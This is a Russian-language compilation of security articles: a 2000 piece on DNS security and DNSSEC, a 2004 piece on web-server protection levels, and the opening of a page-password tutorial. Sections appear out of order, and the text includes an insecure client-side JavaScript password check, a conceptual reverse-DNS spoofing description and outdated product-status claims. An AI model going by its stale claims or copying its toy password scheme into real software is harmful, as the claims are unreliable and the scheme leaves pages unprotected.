КРИПТОГРАФИЧЕСКИЕ ПОДПИСИ

Для ликвидации названных ограничений протокола DNS IETF создала рабочую группу DNSSEC (DNSSEC Working Group, DNSSEC WG) для внесения расширений DNSSEC в существующий протокол. Berkeley Internet Name Daemon (BIND) 8.2 имеет некоторые из функциональных возможностей DNSSEC.

Цель DNSSEC - обеспечить аутентификацию и целостность информации, содержащейся в DNS (см. Рисунок 2). DNSSEC позволяет достигнуть обеих целей посредством шифрования.

Рисунок 2. Два примера ответов и запросов DNS с DNSSEC и без оных. Обратите внимание, что в ответе с DNSSEC ответное сообщение содержит не только подписи и ключи, необходимые для проверки информации, но и сам исходный вопрос. Эта процедура называется "Аутентификацией транзакции и запроса". Благодаря ей запрашивающая сторона может быть уверена, что она получила ответ на тот вопрос, который задавала.

DNSSEC опирается на шифрование с открытыми ключами для подписи информации, содержащейся в DNS. Такие криптографические подписи обеспечивают целостность за счет вычисления криптографического хэша (т. е. уникальной контрольной суммы) данных и затем защиты вычисленной величины от несанкционированных изменений посредством ее шифрования. Хэш шифруется с помощью личного ключа из пары ключей, чтобы любой желающий мог воспользоваться открытым ключом для его дешифровки. Если дешифрованное получателем значение хэша совпадает с вычисленным, то данные достоверны (не подвергались несанкционированному изменению).

Криптографическая подпись и открытый ключ, используемый для верификации подписи, получают посредством запросов и ответов, как и любую другую информацию в DNS.

В случае криптографической подписи аутентификация производится неявно, на основании факта совпадения дешифрованного и вычисленного значений хэша: только держатель личного ключа мог зашифровать хэш, так как открытый ключ дал правильное значение хэша. Таким образом, любая система на базе технологии открытых ключей должна обеспечивать надежную защиту личных ключей. Этому вопросу посвящен документ RFC 2541 рабочей группы DNSSEC.

НЕДОСТАТКИ DNSSEC

Подписание и проверка данных DNS, очевидно, создают дополнительные накладные расходы, отрицательно сказывающиеся на производительности сети и серверов. Подписи занимают немало места, часто они намного превышают по объему данные, под которыми стоят. Это увеличивает нагрузку, которую DNS возлагает на магистраль Internet и многие немагистральные каналы. Генерация и проверка подписей отнимают значительное время ЦПУ. В некоторых случаях однопроцессорный сервер DNS придется даже заменить многопроцессорным сервером DNS. Подписи и ключи могут занимать на порядок больше места на диске и в оперативной памяти, чем собственно данные. Базы данных и системы управления придется наращивать, чтобы они могли справляться с возросшими объемами.

Кроме того, реализация DNSSEC сопровождается и другими, не столь очевидными затратами. Новое программное обеспечение больше по объему и сложнее, чем прежнее, а многие его компоненты являются совершенно новыми и нуждаются в обширном тестировании в реальных условиях. Пока широкомасштабных испытаний DNSSEC в Internet не проводилось, так что они могут принести множество сюрпризов (возможно, даже придется полностью менять).

Вывод отсюда следующий: развертывание DNSSEC чревато столькими же опасностями, как и отказ от него. Мы бы рекомендовали обождать год или два, пока DNSSEC RFC не получит статуса хотя бы проекта стандарта.

На декабрь 1999 года TSIG полностью и DNSSEC частично были реализованы только в BIND 8.2. Другие разработчики (включая Microsoft) собираются реализовать различные формы TSIG в следующих редакциях своих продуктов. Спецификация BIND 9.0, появление которой ожидается в первой четверти 2000 года, будет содержать полную реализацию DNSSEC.

НОВЫЕ ЗАПИСИ РЕСУРСОВ

Криптографические подписи DNSSEC применяются к данным по зоне, динамическим обновлениям и транзакциям DNS. Кроме того, они используются для подтверждения отсутствия данных DNS. DNSSEC предусматривает три новые записи ресурсов - KEY RR, SIG RR и NXT RR.

KEY RR содержит открытый ключ, принадлежащий имени домена, указанному в KEY RR. Это не сертификат открытого ключа. Механизм обеспечения возможностей поиска сертификатов открытых ключей предусматривается DNSSEC WG, но не для целей защиты данных DNS. Он предоставляется в качестве дополнительного бонуса, благодаря которому DNS может применяться для запроса сертификатов открытых ключей на все, что может быть представлено с помощью имени домена. Эту возможность обеспечивает CERT RR.

SIG RR содержит преимущественно криптографическую подпись, дату окончания срока годности подписи и определение данных DNS, к которым эта подпись относится. NXT RR позволяет проверить (за счет использования криптографии), что RR для данного имени DNS не существует. Таким образом, отсутствие данной RR может быть подтверждено доказательно.

Другим аспектом DNSSEC является подпись транзакции (Transaction Signature, TSIG). TSIG отличается от других подписей DNS тем, что она создается с использованием шифрования с секретными ключами. Мы рассмотрим TSIG позже.

Протокол DNSSEC как таковой не обеспечивает конфиденциальности данных или контроля доступа. Однако конкретные его реализации могут предусматривать те или иные механизмы обеспечения конфиденциальности и контроля доступа. Причина отсутствия такого стандартного механизма в DNS в том, что исходный протокол DNS предназначался для работы с общедоступными данными. Озабоченность утечкой информации относительно имен и местонахождения систем и возможность атак по типу "отказ в обслуживании" порождает спрос на механизмы обеспечения конфиденциальности и контроля доступа. Этот спрос отражается в реализациях DNS.

Например, реализация BIND предусматривает контроль доступа для предотвращения пересылки зоны не уполномоченным на то системам.
Кроме того, она позволяет запретить серверам DNS отвечать на запросы определенных систем. Сегодня конфиденциальность частично обеспечивается за счет применения брандмауэров и так называемой расщепленной DNS для затруднения доступа из внешней сети к внутренней информации DNS.

Internet Software Consortium (ISG) - некоммерческая организация, занимающаяся реализацией базовых протоколов Internet в виде открытых кодов, - добавила два механизма защиты для наделения сервера DNS возможностями DNSSEC. Первый определяет аутентичность данных в системе на основании проверки факта их подписи администратором узла, от которого они якобы поступили.

Однако, как большинство подобных решений, этот метод просто смещает акценты в проблеме защиты, ставя вопрос: "Как мы можем знать, что данные были действительно подписаны тем, кем они должны были быть подписаны?" В случае шифрования с открытыми ключами подписи генерируются с помощью личного ключа и проверяются с помощью открытого ключа. DNSSEC использует для распространения открытых ключей узлов Internet саму DNS, т. е. необходимый для проверки ключ предоставляется с помощью того же самого совершенно незащищенного протокола, что и данные, которые вы пытаетесь проверить. Кажется, что мы попали в замкнутый круг, но это не так.

Один из способов проверить открытый ключ до использования его для проверки ответа - взглянуть на подпись самого открытого ключа. Родительский узел должен подписывать все свои открытые ключи, поэтому в нашем первом примере проверочный (открытый) ключ examiner.com должен был быть подписан администратором com. Однако, прежде чем проверять подпись com для examiner.com, нам необходимо знать открытый (проверочный) ключ для самого com, а он должен быть подписан родителем com (т. е. вышеупомянутым корнем DNS). Чтобы быть абсолютно уверенными в том, что открытые (проверочные) ключи корня действительно принадлежат ему, они должны находиться на вашем компьютере в файле, полученном защищенным образом (например, на CD-ROM) от надежного источника (например, от производителя компьютера).


Так как корень является прародителем всех имен доменов, для всей DNS нужен только один открытый ключ.

Второй механизм защиты, который ввела ISC, проверяет факт поступления протокольного сообщения от заслуживающего доверия источника. Это не принципиальное, но чрезвычайно важное различие: вместо проверки аутентичности данных механизм защиты проверяет аутентичность отправителя данных.

Практически все данные DNS поступают из кэшей, а не напрямую от основных или вспомогательных серверов. Кэши являются серверами DNS, но они не отвечают за эти данные непосредственно, как основные или вспомогательные серверы, и могут даже не иметь каких-либо постоянных собственных данных - все, что знают, они узнают, когда какой-либо клиент задает им вопрос, и они вынуждены находить на него ответ. Один типичный трюк, применяемый хакерами, состоит в бомбардировке клиента ответами именно в те интервалы времени, когда клиент ожидает получения ответа от локального кэширующего сервера. Клиент не в состоянии отличить настоящий ответ от поддельного, поэтому он просто использует любой полученный.

Клиенту приходится доверять, во-первых, серверу, что он выполнил свою работу по проверке данных, и, во-вторых, ответу, что он действительно поступил от локального кэширующего сервера, а не от некой вторгшейся в диалог третьей стороны.

ОТ SRI-NIC ДО DNS

До появления DNS данные о каждом новом хосте приходилось добавлять в центральное хранилище Информационного центра сети в Стенфордском исследовательском институте (Stanford Research Institute`s Network Information Center, SRI-NIC), отвечавшем за предоставление такой информации до начала 90-х. SRI-NIC затем публиковал этот файл, и он посредством массового копирования поступал на все хосты сети агентства по перспективным исследованиям (Advanced Research Projects Agency Network, ARPANET).

Другая проблема такого метода управления именами хостов состояла в его плоской структуре. Каждое зарегистрированное в SRI-NIC имя должно было быть уникальным. Например, никакие два хоста нигде в Internet не могли одновременно называться www. Как результат, SRI-NIC уступила место DNS.

Один из главных вкладов DNS в Internet - возможность уникальным образом отображать однозначно идентифицируемые имена хостов на IP-адреса во всемирном масштабе. Эта процедура известна как прямое отображение. Среди некоторых других возможностей DNS - обратное отображение (т. е. определение имени хоста по IP-адресу), информация о серверах электронной почты (идентификация почтового сервера для данного хоста или домена) и каноническое именование (назначение псевдонимов для имени хоста).

В DNS эта информация хранится в записях ресурсов (Resource Records, RR). Каждому типу содержащейся в DNS информации соответствует свой тип RR. Примерами типов записей о ресурсах могут служить запись A об IP-адресе для данного имени хоста, запись NS о сервере имен для данного имени домена и запись MX о почтовом сервере для данного имени DNS.

Иерархическая упорядоченность DNS обеспечивает уникальность имен хостов. Иерархическая структура DNS имеет вид перевернутого дерева. При перемещении по дереву от листа к корню мы получаем полное доменное имя (Fully Qualified Domain Name, FQDN). В DNS всякое имя FQDN является уникальным. Запрос с указанием имени хоста приводит к просмотру структуры дерева от корня до листа в целях нахождения соответствующего ему IP-адреса.
Аналогичное дерево имеется и для обратного отображения, в случае которого запрос с IP-адресом приводит к просмотру структуры этого дерева для нахождения имени хоста или FQDN, для указанного IP-адреса.

Верхнему уровню перевернутого дерева соответствует корень DNS. Этот корень обычно обозначается как "." (т. е. "точка") и является последним символом в FQDN. Первый уровень ниже корня делится на крупные классы, такие, как некоммерческие организации (org), коммерческие структуры (com), образовательные учреждения (edu) и т. д. Следующий уровень обычно представляет конкретную организацию или компанию в домене org, edu или com. Например, isc.org или vix.com. И isc, и vix называются также именами доменов.

Такой способ последовательного деления имен доменов позволяет уникальным образом идентифицировать хост в домене (или, возможно, в поддомене), к которому он принадлежит. Благодаря этому ответственность за управление именами хостов и адресами (их добавлением, удалением или изменением) может быть передана местным администраторам. Возможность делегирования прав администрирования и локального управления именами хостов обеспечивает чрезвычайную гибкость и масштабируемость DNS.

Другое важное преимущество DNS по сравнению с ее предшественником с плоской структурой - высокая доступность информации по каждому домену или зоне. (Несмотря на определенные различия между понятиями зоны и домена, для целей этой статьи мы будем считать зону синонимом домена.) Каждая зона содержит один основной или первичный сервер, на котором осуществляются все изменения информации по зоне. Помимо основного сервера зона содержит вспомогательные или вторичные серверы. Таких серверов может быть несколько. Они периодически обращаются к основному серверу для проверки факта обновления информации и, если обновление действительно имело место, получения данных по зоне. Данная процедура называется пересылкой зоны.

Каждая зона имеет порядковый номер, увеличиваемый каждый раз при внесении изменений в информацию об этой зоне на основном сервере.Благодаря этому вспомогательный сервер может без труда обнаружить факт обновления. Наличие более одной копии зоны обеспечивает рудиментарную форму распределения нагрузки и высокую доступность данных.

ПОДПИСИ ТРАНЗАКЦИЙ

Этот метод защиты называется TSIG, потому что он предполагает шифрование сообщения с помощью секретного ключа. Его отличие состоит в том, что один и тот же ключ используется как для генерации подписи, так и для ее проверки (т. е. вся процедура является закрытой) и что общий секретный ключ (также называемый "общим секретом") известен только хостам из одной локальной сети или (в крайнем случае) в одной территориальной сети. Использовать TSIG гораздо проще, чем полномасштабную защиту DNSSEC.

TSIG особенно полезен в случае транзакций DNS UPDATE. Большинство транзакций DNS представляет собой запросы относительно наличия данных. Транзакция DNS UPDATE вносит изменения в данные DNS на узле. Эта транзакция описана в RFC 2136, но для наших целей достаточно будет знать, что она не снабжена собственными механизмами защиты.

Вследствие того, что обновление DNS осуществляется обычно по UDP, а запрос UDP легко подделывается, у сервера нет никаких способов установить, что запрос DNS UPDATE разрешен для данного узла. Если, с другой стороны, клиент UPDATE имеет общий секретный ключ с сервером DNS и использует его для генерации подписи под запросом, то сервер UPDATE может воспользоваться тем же самым ключом для проверки подписи и проверки наличия у запрашивающего надлежащих полномочий.

РАБОТА ПРОДОЛЖАЕТСЯ

Работа над некоторыми функциональными сторонами DNSSEC еще продолжается, например над тем, как именно администрация com будет подписывать открытые ключи. Соответствующий новый протокол может вскоре появиться. Кроме того, во время смены ключей может потребоваться поддерживать одновременно более одной пары открытых/личных ключей, но, как это будет реализовано, пока неясно. Если личный ключ окажется украден и, как следствие, должен будет изъят из обращения, то в настоящее время никаким способом нельзя известить о компрометации ключа тех, кто будет проверять с его помощью подпись.

Наконец, это вопрос защиты личного ключа корня. Этот ключ будет по сути ключом ко всей коммерции Internet в мировом масштабе, но администрация корневых серверов постоянно меняется.

Должны ли Соединенные Штаты продолжать администрировать это всемирное средство обеспечения электронной коммерции? Если администрирование будет передано некоммерческой отраслевой ассоциации, например Internet Corporation for Assigned Name and Numbers (ICANN), то сможет ли такая организация учесть интересы и законодательство всех стран? Должно ли оно быть передано Объединенным Нациям? В состоянии ли Объединенные Нации справиться с подобной ответственностью? В состоянии ли кто-нибудь вообще? Развертывание DNSSEC во всемирном масштабе невозможно, пока вопрос с администрацией корня не будет урегулирован.

Верно, конечно, что работа над DNSSEC еще не завершена. Однако любая организация, активно использующая Internet, должна рассматривать DNSSEC в качестве важнейшего компонента своей инфраструктуры защиты, потому протокол DNS по-прежнему уязвим для злоупотреблений. Только DNSSEC, благодаря своим мощным криптографическим механизмам, в состоянии обеспечить одновременно аутентификацию и целостность всех аспектов DNS.

Дайана Давидович работает в Национальном управлении океанических и атмосферных исследований. С ней можно связаться по адресу: . Пол Викси - президент и основатель Internet Software Consortium (ISC) и архитектор BIND. С ним можно связаться по адресу: .

Ресурсы Internet

Internet Software Consortium (ISC) - некоммерческая организация, занимающаяся созданием, обновлением и публикацией реализаций базовых протоколов Internet в виде исходных кодов. Домашняя страница ISC имеет адрес: .

Collaborative Advanced Interagency Research Network (CAIRN) представляет собой тестовую сеть, спонсируемую Defense Advanced Research Projects Agency (DARPA). CAIRN предлагает информацию о DNSSEC на .

Более подробную информацию о DNSSEC и других вопросах защиты можно найти на .

УЯЗВИМЫЕ МЕСТА ЗАЩИТЫ DNS

Вместе с тем такая чрезвычайно эффективная организация оборачивается множеством слабостей с точки зрения защиты. Например, когда удаленная система связывается с приложением, приложение посылает запрос для определения имени DNS по ее IP-адресу. Если возвращаемое доменное имя соответствует ожидаемому, то удаленной системе разрешается доступ.

Рисунок 1. В данном примере DNS атакующего ответственна за сеть 172.16.0 (0.16.172.in-addr.arpa). Атакующий присваивает обратный адрес 172.16.0.8 хосту с именем trustme.plain.org. Злоумышленник подключается к victim.example.com для исследования его доверительных взаимоотношений с trustme.plain.org. Атака оказывается успешной, потому что протокол DNS не предусматривает какого-либо механизма предотвращения назначения владельцем обратного адресного пространства доменных имен за пределами его области полномочий.

Однако при минимальных усилиях злонамеренный пользователь может зарезервировать за собой небольшое пространство IP-адресов и зарегистрировать сервер DNS для обратного отображения IP-адресов (см. Рисунок 1). Ничто не мешает администратору данного пространства IP-адресов отобразить определенный IP-адрес обратно на не принадлежащее ему FQDN. Затем этот администратор может отобразить IP-адрес на имя хоста, которому приложение сконфигурировано доверять. Поэтому при получении запроса на соединение от системы, которой приложению доверять не следует, но чей IP-адрес отображается обратно на FQDN, которому оно доверяет, приложение, не задумываясь, предоставит доступ этой системе.

Некоторые из наиболее распространенных приложений, где когда-то использовалась такая процедура, были переделаны в целях проведения еще одной проверки - что имя хоста DNS соответствует данному IP-адресу. Однако многие приложения не предусматривают этой дополнительной процедуры. Старые версии rlogin, RSH, Network File System (NFS), X Window и HTTP могут быть по-прежнему уязвимы для такого рода атак.

Кроме того, DNS уязвима с позиций взлома системы. Если злоумышленник сможет через одну из сетевых служб (telnet, ftp и т. д.) получить несанкционированный доступ к серверу DNS, после этого он получит возможность изменять базу данных DNS, как ему заблагорассудится. В такой ситуации протокол DNS опять оказывается беззащитен, потому что он не обеспечивает идентификации данных. (О том, как сделать серверы DNS более защищенными, читай врезку .)

Защита DNS

, #02/2000

Дайана Давидович и Пол Викси

Протокол защиты DNS позволит проверить, что запрошенные адреса Internet поступили от законного источника и что ответ на запрос содержат аутентичные данные.

В старые времена - около полутора десятка лет назад - ученые-исследователи, университетские профессора и чиновники Министерства обороны открыто использовали Internet для обмена информацией. Такая система работала, потому что она состояла из небольшого сетевого сообщества, члены которого доверяли друг другу.

Как быстро все меняется. Сегодня сообщество пользователей Internet достигло немыслимых размеров, и далеко не каждый его член заслуживает доверия. Наличие проказливых или злонамеренных пользователей породило потребность в защите. Однако при разработке DNS, одной из ключевых инфраструктур Internet, защита была отнюдь не главной целью. Как результат, DNS представляет собой незащищенный протокол.

DNS - это иерархическая база данных, содержащая записи с описанием имен, IP-адресов и другой информации о хостах. База данных находится на серверах DNS, связанных с Internet и частными сетями Intranet. Проще говоря, DNS предоставляет сетевым приложениям услуги каталога по преобразованию имен в адреса, когда им требуется определить местонахождение конкретных серверов. Например, имя DNS используется каждый раз при отправке сообщения электронной почты или доступе к странице Web.

Проблема в том, что нет никакого способа проверить, что ответ DNS поступил от аутентичного источника и содержит аутентичные данные. Немного потрудившись, даже ребенок сможет инфицировать сервер DNS неверными данными, которые клиенты Web будут не в состоянии отличить от верных данных. Этот факт вызывает особое беспокойство в связи с тем, что DNS часто используется в качестве системы неявной идентификации.

Например, когда пользователь обращается из браузера к (узел Web сан-францисской газеты), он, естественно, ожидает, что полученная страница Web принадлежит этой газете. Однако протокол DNS не содержит никаких механизмов для потверждения факта аутентичности страницы Web.

Хотя пользователь может увидеть страницу San Francisco Examiner вместо, как он надеялся, местной Examiner своего родного города, это не самое неприятное, что может случиться: пользователь может получить страницу Web, не принадлежащую вообще никакой газете, а неким злонамеренным третьим лицам, намеренно испортившим DNS, чтобы перенаправить ничего не подозревающих читателей на свой сервер Web, где публикуется сатира на реальную газету или где содержится заведомо искаженная информация.

В каждой отрасли есть свой злой гений - просто представьте себе, что ваш заклятый конкурент мог бы сделать с вашей репутацией, если бы он получил контроль над базой подписчиков вашего сервера Web всего на один день. Неточные или намеренно недостоверные данные могут привести к тому, что пользователи столкнутся с отказом в обслуживании или будут перенаправлены на серверы сомнительного содержания. Для решения этой проблемы IETF работает над расширениями защиты для протокола DNS - так называемой Domain Name System Security (DNSSEC).

Защита серверов DNS без помощи DNSSEC

Воспользуетесь ли вы неполной реализацией DNS Security (DNSSEC) в BIND 8.2 или будете ждать полной стандартизации расширений защиты, в любом случае вы можете принять некоторые меры предосторожности для защиты информации DNS до появления полной реализации DNSSEC. Сервер, где выполняется программное обеспечение DNS, должен быть хорошо защищен. Все ПО, включая программное обеспечение DNS, должно быть представлено в последних редакциях, и к ним должны быть применены все выпущенные заплаты. При оценке возможности размещения DNS на сервере вы должны помнить, что всякое выполняющееся на сервере сетевое приложение увеличивает риск взлома. Для сокращения степени риска на сервере должны выполняться только самые необходимые для его работы приложения. Затем вы можете ограничить доступ к этим сервисам и предусмотреть жесткую идентификацию для тех приложений, для которых она необходима.

С появлением автоматизированного инструментария сканирования при выходе в Internet серверы DNS подвергаются постоянному зондированию и попыткам вторжения. Здесь практически ничего нельзя поделать, так как серверы DNS должны отвечать на запросы.

Однако их открытость можно ограничить за счет применения модели расщепленной DNS. При такой модели один сервер DNS с минимальной информацией помещается с внешней стороны сети, в то время как второй сервер - с внутренней стороны. Доступ к этому серверу возможен только из внутренней сети, и он содержит всю информацию DNS по внутренней сети.

Помните, что внутренние серверы могут подвергнуться атакам и изнутри сети, поэтому они должны быть защищены так же тщательно, как внешние серверы DNS. На случай, если злоумышленник получит доступ к серверу, администратор DNS может воспользоваться резюме сообщения (например, контрольной суммой MD5) для обнаружения факта незаконного изменения данных.

Что выбрать?

Как и везде решающим фактором становится соотношение цена/качество. И тем не менее каждая компания должна иметь как минимум два первых уровня защиты. Любая компания, для которой порча информации является критической (и может серьезно повлиять на функционирование предприятия), должна оснастить свои веб-серверы третьим уровнем безопасности. Это касается предприятий, которые просто используют в своей работе сеть Интернет. Если ваши пользователи подключены к ней, то злоумышленники могут найти лазейки, чтобы проникнуть в ваши виртуальные владения и испортить ваши данные. Все компании, использующие удаленный доступ к сети для запуска приложений на веб-сервере, обязаны иметь уровни выше четвертого (4, 5A или 5B). Один из примеров - наличие важной базы данных на сервере, доступ к которой осуществляется через удаленный доступ или сеть Интернет. К этой категории можно отнести интернет-магазины и электронные трейдинги. Если вы не можете полностью контролировать действие своих веб-мастеров, то достаточным будет уровень 4. Классический случай, когда несколько администраторов отвечают за различные участки сайта. Часто такие администраторы могут работать вне офиса или дома. При этом их права на доступ позволяют внести существенные коррективы в хранящиеся данные. А это не всегда желательно. Если же пользователи способны контролировать настройки сетевых приложений, то необходима защита пятого уровня (как А, так и В). Это справедливо для сложных систем, когда компьютеры, подключаются через сеть к серверу и имеют права не только запускать приложения, но и изменять настройки этих приложений. Шестой уровень - полная гарантия безопасности.

В жизни каждого предприятия важную роль играет прибыльность. Здесь приведен материал, ориентированные на менеджеров, которые желают оценить экономическую эффективность от внедрения системы компьютерной безопасности. Приблизительные оценки для крупных компаний указывают на то, что возврат средств ожидает компанию в объеме 145% за три года. Но это субъективные и теоретические оценки.
Многие компании, занимающиеся безопасностью, сегодня предлагают специальную услугу - проверку вашего сервера на устойчивость к атакам хакеров. То есть установление наличия рисков. А при помощи простой онлайн-формы можно оценить ROI от внедрения системы безопасности для вашего собственного предприятия. Напомним, что ROI (Return Of Investment) - это количественная оценка прибыли на инвестированный капитал. Адрес для изучения выгодности этой инвестиции здесь. Заполняйте позиции с левой стороны, а справа в окне браузера вы получите результаты. Необходимо четко знать следующие данные: количество обращений в службу сервиса в месяц, число рабочих мест, требующих установки ПО. Стоимость таких действий как вызов, оборудование защитой различных уровней, уменьшение числа обращений в службу сервиса на каждом из уровней и ряд других. Впрочем, форма сама предлагает определенные цифры, которые считаются эталонными для предприятий. Оценка инвестиции приведена вполне дотошно. Здесь и Net Present Value (NPV) Savings, и Internal Rate of Return (IRR), и Return on Investment (ROI). И каждый уровень расписан в подробностях. Впрочем, российская специфика и здесь имеет место, поэтому стоит проверить, справедливы ли вводимые цены. Безопасность - это люди, процессы, программы. Это непрерывный поиск уязвимых мест вашей системы, налаженная структура ликвидации угрозы и контроль над исполняемыми приложениями. Интернет прочно вошел в нашу жизнь и все методики должны совершенствоваться. Появляются новые подходы к безопасности, и игнорирование их было бы большой ошибкой. Ошибкой, осознание которой может прийти слишком поздно.

Иерархия защиты веб-серверов

#3/2004

Информация должна быть в безопасности - пожалуй, эта аксиома известна всем. И несомненно, большинство пользователей знают, что такое Firewall и троянские вирусы и какими средствами можно обеспечить защиту сети. Однако не все знают, как они работают и как оптимально настроить систему защиты компании. Тем не менее именно от этого зависит не только сохранность данных, но и существование предприятия в целом.

Действительно, многие чересчур уверены в своей компетенции, и в этом корень проблемы. Наглядный пример из жизни. Одна компания очень хочет обеспечить сохранность своих данных (ее локальная сеть имеет постоянный выход в Интернет). Для этого один из специалистов установил firewall, перекрыв (на его взгляд) угрозу прямым атакам из публичной сети. Затем озаботился проникновением троянов и установил антивирус. Далее обнаружилось, что многие программы хотят также взаимодействовать с сетью, но не все делают это на безопасном уровне. Пришлось перекрывать доступ и им. Постепенно число потенциальных угроз увеличивалось, и, подобно снежному кому, росло количество установленных средств защиты. И все они были разными. Заканчивалось все, как правило, "падением" системы и неизбежной переустановкой. В результате тратилось драгоценное рабочее время и ресурсы. А ведь куда разумнее выяснить теорию и подготовить защиту в соответствии с ней.

Новое время - новые методы

Приведенный пример говорит о том, что прежний подход к безопасности безнадежно устарел. Угроз слишком много, и нужно что-то заложить в основу иерархии защиты. Интернет уже давно не просто сеть html-страниц. Это сложные приложения, скрипты, транспортная сеть, телеконференции, электронная почта и многое другое. Конечно, корпоративный firewall уже не решает всех проблем безопасности. Ведь равный и обобщенный подход к обеспечению безопасности данных каждого сотрудника компании неизбежно приводит к наличию брешей в защите. Из-за этого страдают нужды того или иного работника, когда оказываются закрыты критичные для выполнения работы ресурсы. Более того, многие системы безопасности отделяют от общего доступа только жизненно важные данные (например, бухгалтерский учет), в то время как остальные сведения, которые считаются менее важными, доступны всем. Конечно, это не означает, что сотрудники соседнего подразделения изучают данные своих коллег. Но такая открытость делает данные всех работников уязвимыми к атаке через одну-единственную лазейку в сети. Поэтому вместо порчи данных на 1-2 компьютерах страдают все.

Что и доказал червь Code Red. Эта одна из самых известных атак вскрыла множество проблем. Установлено: для того чтобы получить брешь в защите, необходимо сочетание трех факторов. Уязвимость программного обеспечения, протоколов или процессов, которыми может воспользоваться нападающий. Угроза со стороны враждебных инструментов, способных эту уязвимость использовать. Наконец, действие, а по сути, использование угрозы вашей уязвимости.

Еще в 1985 году Стив Беллоуин (Steve Bellovin), член Совета по архитектуре Интернета (Internet Architecture Board) опубликовал доклад об уязвимости TCP/IP-протокола. Хотя вплоть до 1996 года возникшая уязвимость оставалась под призрачной теоретической угрозой. Но угроза появилась, а привел ее в действие не кто иной, как Кевин Митник. Поэтому суть компьютерной безопасности не только в ее построении, но и в постоянном поиске уязвимости и устранении ее раньше, чем злоумышленники сумеют создать угрозу и привести ее в действие. Следовательно, безопасность - процесс динамический, а не статический. Анализ и устранения рисков - его основная составляющая, которой нельзя пренебрегать.

Почему веб-серверы так уязвимы?

Вирус Code Red вывел из строя именно те серверы, которые были защищены от элементарных атак из Сети и не следили за своей растущей уязвимостью (ввиду отсутствия подобных прецедентов). Имела место уязвимость, но так как прежде подобные атаки не проводились, никто о ней не думал. В итоге такая беспечность стоила миллионов долларов. Обобщим основные причины уязвимости веб-серверов:

Большинство растущих предприятий регулярно меняет конфигурацию своих сетей, добавляя новые рабочие станции (иногда и сервера), забывая при этом тестировать ЛВС на безопасность. Разумеется, запретить подключать новых пользователей невозможно, но стоит задуматься о расширении сети заранее. Обозначить ее сегменты, которые способны к расширению, и проводить предварительное тестирование на безопасность. Большинство веб-мастеров имеют корневой или администраторский доступ к серверу. Разумнее прописать каждому пользователю свою политику доступа, ограничивающую его права прямыми обязанностями. Например, сотрудник работает только с одним каталогом сервера, но имеет доступ на все остальные. Тем самым он ставит под угрозу не только свой сектор работ, но и все данные сервера. Конечно, статус веб-мастера имеет не каждый пользователь, хотя ограничить доступ из соображений безопасности следует и самым высоким профессионалам. Программное обеспечение веб-серверов. Смесь из пиратских, лицензионных, shareware- и freeware-программ делает систему уязвимой. Самый безопасный подход - совместимое программное обеспечение от одного производителя. Скажете дорого? А не дороже ли потом восстанавливать данные после атаки?

Как видите, безопасность веб-серверов сводится к управлению рисками. Но не каждая компания нуждается в высшей степени защиты своей информации. Вопрос уровня безопасности - это вопрос использования ресурсов сети. Если веб-сервер существует, к примеру, только для нужд маркетинга, то особо сложной защиты устанавливать не стоит. А вот системы электронной коммерции, электронных платежей требуют больших мер безопасности. Поэтому принято разделять уровни защиты веб-серверов.

Уровни защиты веб-серверов

Защиту сети можно разделить на шесть уровней сложности. Первый - самый элементарный и обязательный. Здесь главный инструмент защиты - firewall. Firewall должен лимитировать использование сервисов, которые предоставляются пользователям. Также firewall должен следить за всеми соединениями, как с одной, так и с другой стороны. Кстати, многие версии firewall успешно отразили Code Red. Не стоит применять здесь программы непонятного происхождения, отдавайте предпочтение лицензионному ПО. Ведь это самый передовой бастион защиты ваших данных. Многие риски можно устранить уже на этом этапе.

Второй уровень безопасности подразумевает конфигурацию операционной системы, под чьим управлением работает веб-сервер. Каждая операционная система позволяет создавать контрольные листы безопасности (security checklist). Эти установки должны быть согласованы с операционными системами вендоров, которые сотрудничают с компанией. О том, как это делается под отдельные операционные системы, можно прочитать здесь: Center for Internet Security - www.cisecurity.org; Microsoft - www.microsoft.com/technet/itsolutions/security/tools/tools.asp; Apache - http://httpd.apache.org/docs/misc/security_tips.html; Sun - www.sun.com/security/blueprints/. Важно также, чтобы новое приложение своевременно вносилось в security cheklist, а не отключало его. Это должно быть правилом. И никакой аврал на работе не должен приводить к отключению данного уровня безопасности.

Третий уровень ориентирован уже на сеть. Необходимо оснастить датчиками атаки сетевого оборудования и программного обеспечения провайдера, обеспечивающего хостинг. Главное, чтобы поступивший об опасности сигнал был правильно обработан и нейтрализован.

Четвертый уровень безопасности - установка программного обеспечения на уровне хостинга. Это значительно более сложная задача. Во-первых, здесь можно столкнуться с возражениями самой хостинг-компании. А во-вторых, такое программное обеспечение намного сложнее простых датчиков. По этой причине и уровень безопасности более высокий.

Уровень 5 имеет два подуровня - А и В. Уровень 5А - это установка специального программного обеспечения, выполняющего роль прослойки между операционной системой веб-сервера и всеми приложениями. Такой буфер позволяет предотвратить атаку хакеров на уязвимые приложения, которые берут под контроль всю операционную систему во время своего выполнения. Это не самый дешевый вариант, потому что, как и на предыдущем уровне, необходимо обеспечить поддержку программного обеспечения, которым оперируют веб-серверы.

Уровень 5B представляет собой установку ориентированных на конкретные приложения firewall или прокси-серверов. Они ориентированы на HТTP-протокол и позволяют предотвратить атаки прежде, чем потенциальные злоумышленники сумеют добраться до запуска приложений, установленных на веб-сервере. Однако, прокси-сервер - это существенное ограничение в работе. Конфигурация и настройка прокси - тоже своего рода искусство.

Шестой уровень - своеобразная вершина безопасности. Здесь допускается использование только доверительных операционных систем и работающих под их управлением приложений. Иными словами, все функционирующие приложения и операционные системы должны быть либо максимально адаптированы, либо разработаны специально для специфических нужд компании. Это самый дорогой, но и самый эффективный способ защиты. К тому же требующий специальной подготовки от администратора сети, а зачастую и от пользователей, что также влечет дополнительные расходы. Да и обновление какого-либо приложения потребует предварительной интеграции в доверительную систему.

Ставим пароль на страницу

Данная статья не претендует на какие-то откровения, все эти вещи достаточно очевидны и широко известны. Но получив за последнее время несколько вопросов об ограничении доступа к web-страницам, я решил свести ответы на них вместе.

Итак, наша задача - установить пароль на доступ к некоторой странице. Начнем с самого примитивного способа, если можно так сказать, защиты - нескольких строчек на JavaScript'е. Код - что-то вроде

var pass = prompt("Enter the Password:", ""); if (pass == null) window.location = "bad.shtml"; else if (pass.toLowerCase() == "password") window.location = "ok.shtml"; else window.location = "bad.shtml";

Результат можно наблюдать, к примеру, . Ухищрения наподобие скрытия скрипта в отдельном файле с помощью конструкции <SCRIPT SRC="security.js"></SCRIPT> принципиально ничего не меняют.

Уровнем повыше расположена аналогичная система, реализованная на Java.

Ниже приведен упрощенный исходный код.

